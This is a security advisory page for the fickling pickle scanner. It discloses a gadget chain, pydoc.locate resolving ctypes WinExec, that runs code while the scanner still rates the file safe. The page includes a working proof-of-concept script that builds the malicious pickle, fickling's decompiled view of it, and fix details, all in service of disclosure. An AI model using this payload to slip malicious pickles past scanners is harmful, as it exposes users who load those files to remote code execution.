High

Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

  • Disclosed: 09.01.2026
  • Updated: 11.10.2026 13:19

Fickling's assessment

pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).

Original report

Summary

Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE

Details

Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).

To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin

PoC

python
import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }
    
    payload += BUILD 
    
    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)
    
print("Generated 'stealth_ctypes.pkl'")

What fickling sees

python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) fickling < 0.1.7 0.1.7

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-184, CWE-502
Platform
Python (PyPI)
Package
fickling
Disclosed
09.01.2026
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1369 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5hvc-6wx8-mvv4 - CC BY 4.0

Vulnerability history: fickling

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (16) in the archive
Total entries
16
First → latest
12.2025 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 11
  • Medium 3
  • Low 1

Disclosures per year

  1. 2025: 2
  2. 2026: 14
Severity:
  1. High ghsa-5hwf-rc88-82xm < 0.1.9 0.1.9
  2. Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection this entry
    High CVE-2026-22608 < 0.1.7 0.1.7
  3. High CVE-2026-22607 < 0.1.7 0.1.7

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.